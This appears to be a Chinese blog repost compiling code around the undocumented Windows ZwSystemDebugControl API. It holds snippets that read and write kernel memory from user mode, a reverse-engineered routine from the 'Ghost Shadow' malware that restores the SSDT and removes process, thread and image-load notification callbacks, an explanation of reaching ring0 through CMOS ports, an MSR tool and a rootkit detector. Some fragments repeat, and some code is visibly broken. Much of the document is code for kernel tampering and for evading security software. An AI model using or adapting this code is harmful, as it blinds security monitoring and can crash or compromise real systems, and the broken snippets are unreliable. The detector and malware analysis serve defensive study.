您的位置:首页 > 其它

ZwSystemDebugControl函数

2013-01-25 16:43 796 查看
使用ZwSystemDebugControl,可以在ring3下读写内核空间虚拟内存

//读取

MEMORY_CHUNKS QueryBuff;

DWORD *address2=new DWORD[dwServices];

QueryBuff.Address = dwKernelBase+dwKiServiceTable;

QueryBuff.Data = address2;

QueryBuff.Length = sizeof(DWORD)*dwServices;

DWORD ReturnLength;

ZwSystemDebugControl

(

SysDbgReadVirtualMemory,

&QueryBuff,

sizeof(MEMORY_CHUNKS),

NULL,

0,

&ReturnLength

);

//恢复

MEMORY_CHUNKS QueryBuff;

QueryBuff.Address=dwKiServiceTable+dwKernelBase;

QueryBuff.Data=address1;

QueryBuff.Length=dwServices*sizeof(DWORD);

DWORD ReturnLength;

ZwSystemDebugControl

(

SysDbgWriteVirtualMemory,

&QueryBuff,

sizeof(MEMORY_CHUNKS),

NULL,

0,

&ReturnLength

);

=========================

/***************************************************************************************

*

* 分析了一下“鬼影”病毒,从里面扒了段代码出来。

*

* 该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT,并摘除

* PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、

* PsSetCreateThreadNotifyRoutine 三个钩子。

*

* 代码里 bug 较多,我用注释标示出来了,保留原味儿,未做修改。

*

* 逆向 by Fypher

* http://hi.baidu.com/nmn714

*

****************************************************************************************/

BOOL Ring3Unhook(IN BOOL bArg) { // bArg 为 0 时只恢复SSDT,不摘PsSetXXXNotifyRoutine钩子

// 先提权

HANDLE hToken;

LUID luid;

TOKEN_PRIVILEGES tkp;

if (OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) {

if (LookupPrivilegeValue(0, "SeDebugPrivilege", &luid)) {

tkp.Privileges[0].Luid.LowPart = luid.LowPart;

tkp.Privileges[0].Luid.HighPart = luid.HighPart;

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0);

}

}

CloseHandle(hObject); // 此处有bug

// 获取所需函数,应该检查一下返回值

char strProcName[32] = "ZwSystemDebugControl";

HMODULE hNtdll = GetModuleHandle("ntdll");

ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName);

strcpy(strProcName, "NtQuerySystemInformation");

NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName);

// 查询系统模块信息

ULONG ulRet = 0;

NTSTATUS status;

status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet);

if (status != STATUS_INFO_LENGTH_MISMATCH)

return 0;

// 这里写得不好,没有检查返回值,并且用 heap 类函数快得多

HLOCAL hlocal = LocalAlloc(LPTR, ulRet);

status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet))

return 0; // 此处有资源泄露,应该释放 hlocal

// WS的方式把 ntoskrnl 的真名找到了

PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4);

char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName;

HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES);

if (!hNtoskrnl)

return 0; // 此处有资源泄露,应该释放 hlocal

// 准备恢复SSDT

strcpy(strProcName, "KeServiceDescriptorTable");

ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl;

ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE; // 取得基址,多余操作

ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase; // 取PE头

ULONG ulImageBase = *(PULONG)(ulPEHdr + 52); // 取 ImageBase

ULONG ulSSDTAddr = ulImageBase + ulSSDToffset;

MEMORY_CHUNKS QueryBuff;

QueryBuff.Address = (ULONG)ulSSDTAddr;

ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80); // 取 SizeOfImage

PVOID lpAddress;

int i = 0;

if (ulSizeOfImage) {

while (1) {

lpAddress = (LPVOID)(ulNtoskrnlBase + i);

// 寻找 mov ds:KeServiceDescriptorTable, xxxxxxxx

// 特征码 C7 05 SSDT xxxx

if (*(PULONG)(lpAddress) == ulSSDTAddr ) {

if ( *(WORD *)(lpAddress - 2) == 0x5C7 )

break;

}

++i;

if (i >= ulSizeOfImage)

break;

}

if (i <ulSizeOfImage)

QueryBuff.Address = *((PULONG)lpAddress + 1);

}

if (i == ulSizeOfImage) {

return 0; // 此处有资源泄露,应该释放 hNtoskrnl 和 hLocal

}

else { // 此处有bug, i > ulSizeOfImage后程序会流向此处

PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase);

DWORD dwOldProtect = 0;

VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect); // 这里应该检查返回值

int num = 280; // 这里写得不好,函数个数应该动态获取

do {

FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase;

--num;

} while (num >= 0);

// 恢复SSDT

DWORD dwRet;

QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;

QueryBuff.Data = FunAddr;

QueryBuff.Length = 1120; // 这里写得不好,函数个数应该动态获取

status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);

if ( bArg ) { // 根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子

// 准备摘掉 PsSetLoadImageNotifyRoutine 的钩子

strcpy(strProcName, "PsSetLoadImageNotifyRoutine");

ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);

QueryBuff.Address = ulProcAddr;

if ( *(WORD *)ulProcAddr != 0xCCCC ) { // 此处有bug

do {

++ulProcAddr;

} while ( *(WORD *)ulProcAddr != 0xCCCC );

while (ulProcAddr > QueryBuff.Address ) {

// 寻找 PsImageNotifyEnabled

// mov ds:_PsImageNotifyEnabled, 1,特征码C6 05 xx xx xx xx 01。

if (*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) {

ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2);

// 将 PsImageNotifyEnabled 置 0, 摘掉 ImageNotifyEnabled 钩子

int buff = 0;

QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase;

QueryBuff.Data = &buff

QueryBuff.Length = 1;

status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);

break;

}

--ulProcAddr;

}

}

// 同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子

strcpy(strProcName, "PsSetCreateProcessNotifyRoutine");

ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);

QueryBuff.Address = ulProcAddr;

if ( QueryBuff.Address < QueryBuff.Address + 256 ) {

// 找函数出口,retn 8

while ( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) {

++ulProcAddr;

if (ulProcAddr >= QueryBuff.Address + 256)

break;

}

while ( ulProcAddr < QueryBuff.Address + 256 ) {

// 寻找mov xx, offset _PspCreateProcessNotifyRoutineCount

if ((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) {

if (*(PULONG)(ulProcAddr + 1) > 0x400000) { // 取得_PspCreateProcessNotifyRoutineCount

int buff = 0;

QueryBuff.Address = *(PULONG)(ulProcAddr + 1);

QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;

QueryBuff.Data = &buff;

QueryBuff.Length = 4;

status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);

break;

}

ulProcAddr += 4;

}

++ulProcAddr;

}

}

// 同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子, 不解释了

strcpy(strProcName, "PsSetCreateThreadNotifyRoutine");

ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName);

QueryBuff.Address = ulProcAddr;

while (1) {

if (ulProcAddr >= QueryBuff.Address + 256)

break;

if (*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2))

break;

++ulProcAddr;

}

for (ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) {

if ((*(BYTE *)addr & 0xF8) == 0xB8) {

if (*(PULONG)(addr + 1) > 0x400000) {

int buff = 0;

QueryBuff.Address = *(PULONG)(ulProcAddr + 1);

QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;

QueryBuff.Data = &buff;

QueryBuff.Length = 4;

status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);

break;

}

addr += 4;

}

}

}

FreeLibrary(hNtoskrnl);

return NT_SUCCESS(status); // 此处有资源泄露,应该释放 hlocal

}

}

========================================================

利用ZwSystemDebugControl进入R0

利用ZwSystemDebugControl进入R0

算是半公开了很久的技术吧

貌似去年底XYZREG就在BLOG里提到过了,不过貌似正式的利用方法一直没有人说

今天有人放了个BIN出来

索性就简单讲讲这玩意好了

更多细节见驱网上某人的BIN和我反的IDB~

通过

ZwSystemDebugControl(SysDbgRead/WriteBusData) -> KdpRead/WriteBusData (SoltNumber=1,BusType=BUS_CMOS) ->HalGet/SetBusDataByOffset(BusType=BUS_CMOS,SoltNumber=1) -> HalpSet/GetCmosData(SoltNumber=1)

可以直接读写系统的物理内存

实际就是调用HalSet/GetCmosData中的代码

写入系统的74~76H号端口,来进行物理内存读写

0074-0076 secondary CMOS (Compaq), NVRAM (IBM) access

0074 w secondary CMOS RAM (IBM NVRAM) index, low byte

0075 w secondary CMOS RAM (IBM NVRAM) index, high byte

0076 r/w secondary CMOS RAM (IBM NVRAM) data byte

Note: NVRAM may be 2K, 8K, or 16K

能读写物理内存,自然就可以轻松进入R0了

不过这个方法似乎在部分机器上会造成蓝屏~

=================================================================

//?XP下利用“ZwSystemDebugControl ”API函数读写CPU MSR

/****************************************************************************

********************** 声明部分 ***********************

****************************************************************************/

#include <windows.h>

#include <stdio.h>

#pragma comment(lib, "advapi32")

#define NTAPI __stdcall

#define FCHK(a) if (!(a)) {printf(#a " failed/n"); return 0;}

typedef int NTSTATUS;

typedef enum _SYSDBG_COMMAND

{

DebugSysReadMsr = 16, //读取MSR参数

DebugSysWriteMsr = 17, //写入MSR参数

}SYSDBG_COMMAND, *PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (

SYSDBG_COMMAND ControlCode,

PVOID InputBuffer,

ULONG InputBufferLength,

PVOID OutputBuffer,

ULONG OutputBufferLength,

PULONG ReturnLength

);

PZwSystemDebugControl ZwSystemDebugControl = NULL;

typedef struct _MSR_STRUCT {

DWORD MsrNum; // MSR number

DWORD NotUsed; // Never accessed by the kernel

DWORD MsrLo; // IN (write) or OUT (read): Low 32 bits of MSR

DWORD MsrHi; // IN (write) or OUT (read): High 32 bits of MSR

} MSR_STRUCT;

//---------申请访问权限---------

BOOL EnablePrivilege (PCSTR name)

{

HANDLE hToken;

BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };

LookupPrivilegeValue (

0,

name,

&priv.Privileges[0].Luid

);

OpenProcessToken(

GetCurrentProcess (),

TOKEN_ADJUST_PRIVILEGES,

&hToken

);

AdjustTokenPrivileges (

hToken,

FALSE,

&priv,

sizeof priv,

0,

0

);

rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);

return rv;

}

int main (void)

{

HMODULE hNtdll;

ULONG ReturnLength;

OSVERSIONINFO OSVersionInfo;

OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

MSR_STRUCT msr;

EnablePrivilege (SE_DEBUG_NAME);

FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);

FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)

GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);

FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&

OSVersionInfo.dwMajorVersion >= 5 &&

OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上

{

msr.MsrNum=409; //MSR 地址,十进制形式

//写入时要设置以下数据

// msr.MsrHi=00;

// msr.MsrLo=1030;

ZwSystemDebugControl

(

DebugSysReadMsr, //如果想写入,则改为DebugSysWriteMsr

&msr,

sizeof (msr),

NULL,

0,

NULL

);

printf("%08X=%08X-%08X/n",msr.MsrNum,msr.MsrHi,msr.MsrLo);

Sleep(10000);

}

else

{

printf ("This program require Windows XP or Windows 2003./n");

}

return 0;

}

//------------------------------------------------------------------------

使用ZwSystemDebugControl的简易用户模式Rootkit检测器代码

NTSTATUS

ReadKernelMemory(IN PVOID BaseAddress,

OUT PVOID Buffer,

IN ULONG Length)

{

NTSTATUS Status;

SYSDBG_VIRTUAL DbgMemory;

//

// Setup the request

//

DbgMemory.Address = BaseAddress;

DbgMemory.Buffer = Buffer;

DbgMemory.Request = Length;

//

// Do the read

//

Status = NtSystemDebugControl(SysDbgReadVirtual,

&DbgMemory,

sizeof(DbgMemory),

NULL,

0,

NULL);

return Status;

}

PCHAR

FindDriverForAddress(IN PVOID Pointer)

{

NTSTATUS Status;

PRTL_PROCESS_MODULES ModuleInfo;

PRTL_PROCESS_MODULE_INFORMATION ModuleEntry;

ULONG ReturnedLength;

ULONG i;

//

// Figure out how much size we need

//

Status = NtQuerySystemInformation(SystemModuleInformation,

NULL,

0,

&ReturnedLength);

if (Status != STATUS_INFO_LENGTH_MISMATCH) return NULL;

//

// Allocate a buffer large enough

//

ModuleInfo = RtlAllocateHeap(RtlGetProcessHeap(), 0, ReturnedLength);

if (!ModuleInfo) return NULL;

//

// Now query the data again

//

Status = NtQuerySystemInformation(SystemModuleInformation,

ModuleInfo,

ReturnedLength,

&ReturnedLength);

if (!NT_SUCCESS(Status)) return NULL;

//

// Loop all the drivers

//

for (i = 0; i < ModuleInfo->NumberOfModules; i++)

{

//

// Get the current entry and check if the pointer is within it

//

ModuleEntry = &ModuleInfo->Modules[i];

if ((Pointer > ModuleEntry->ImageBase) &&

(Pointer < ((PVOID)((ULONG_PTR)ModuleEntry->ImageBase +

ModuleEntry->ImageSize))))

{

//

// Found a match, return it

//

return ModuleEntry->FullPathName;

}

}

}

PCHAR

DetectDriver(VOID)

{

BOOLEAN Old;

NTSTATUS Status;

ULONG_PTR MappedAddress;

PVOID KernelBase, TableBase;

UNICODE_STRING KernelName;

ANSI_STRING TableName = RTL_CONSTANT_STRING("KeServiceDescriptorTable");

RTL_PROCESS_MODULES ModuleInfo;

ULONG Flags;

KSERVICE_TABLE_DESCRIPTOR ServiceTable;

//

// Give our thread the debug privilege

//

Status = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &Old);

if (!NT_SUCCESS(Status)) return NULL;

//

// Query the kernel's module entry

//

Status = NtQuerySystemInformation(SystemModuleInformation,

&ModuleInfo,

sizeof(ModuleInfo),

NULL);

if (Status != STATUS_INFO_LENGTH_MISMATCH) return NULL;

//

// Initialize the kernel's full path name

//

Status = RtlCreateUnicodeStringFromAsciiz(&KernelName,

ModuleInfo.Modules[0].FullPathName);

if (!Status) return NULL;

//

// Keep only the short name

//

KernelName.Buffer = KernelName.Buffer +

(KernelName.Length / sizeof(WCHAR)) -

12;

//

// Map the kernel

//

Flags = IMAGE_FILE_EXECUTABLE_IMAGE;

Status = LdrLoadDll(NULL, &Flags, &KernelName, &KernelBase);

if (!NT_SUCCESS(Status)) return NULL;

//

// Find the address of KeServiceDescriptorTable

//

Status = LdrGetProcedureAddress(KernelBase, &TableName, 0, &TableBase);

if (!NT_SUCCESS(Status)) return NULL;

//

// Unload the kernel image, we're done with it

//

Status = LdrUnloadDll(KernelBase);

if (!NT_SUCCESS(Status)) return NULL;

//

// Get the virtual address we need

//

MappedAddress = (ULONG_PTR)ModuleInfo.Modules[0].ImageBase;

MappedAddress -= (ULONG_PTR)KernelBase;

MappedAddress += (ULONG_PTR)TableBase;

//

// Now read the SSDT

//

Status = ReadKernelMemory((PVOID)MappedAddress,

&ServiceTable,

sizeof(ServiceTable));

if (!NT_SUCCESS(Status)) return NULL;

//

// Setup the argument table

//

ArgumentTable = RtlAllocateHeap(RtlGetProcessHeap(),

0,

ServiceTable.Limit * sizeof(ULONG_PTR));

if (!ArgumentTable) return NULL;

//

// Now fill it up

//

Status = ReadKernelMemory(ServiceTable.Base,

ArgumentTable,

ServiceTable.Limit * sizeof(ULONG_PTR));

if (!NT_SUCCESS(Status)) return NULL;

//

// Now scan it

//

for (i = 0; i < ServiceTable.Limit; i++)

{

//

// Make sure no pointer is outside the kernel area

//

if (ArgumentTable[i] > 0x8FFFFFFF)

{

//

// Find the driver file that this belongs to

//

return FindDriverForAddress(UlongToPtr(ArgumentTable[i]));

}

}

//

// If we got here, then you don't have any rootkit

//

return NULL;

}

=====================================================================

ring3下用ZwSystemDebugControl获取和恢复SSDT

使用ZwSystemDebugControl,可以在ring3下读写内核空间虚拟内存

//读取

MEMORY_CHUNKS QueryBuff;

DWORD *address2=new DWORD[dwServices];

QueryBuff.Address = dwKernelBase+dwKiServiceTable;

QueryBuff.Data = address2;

QueryBuff.Length = sizeof(DWORD)*dwServices;

DWORD ReturnLength;

ZwSystemDebugControl

(

SysDbgReadVirtualMemory,

&QueryBuff,

sizeof(MEMORY_CHUNKS),

NULL,

0,

&ReturnLength

);

//恢复

MEMORY_CHUNKS QueryBuff;

QueryBuff.Address=dwKiServiceTable+dwKernelBase;

QueryBuff.Data=address1;

QueryBuff.Length=dwServices*sizeof(DWORD);

DWORD ReturnLength;

ZwSystemDebugControl

(

SysDbgWriteVirtualMemory,

&QueryBuff,

sizeof(MEMORY_CHUNKS),

NULL,

0,

&ReturnLength

);
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: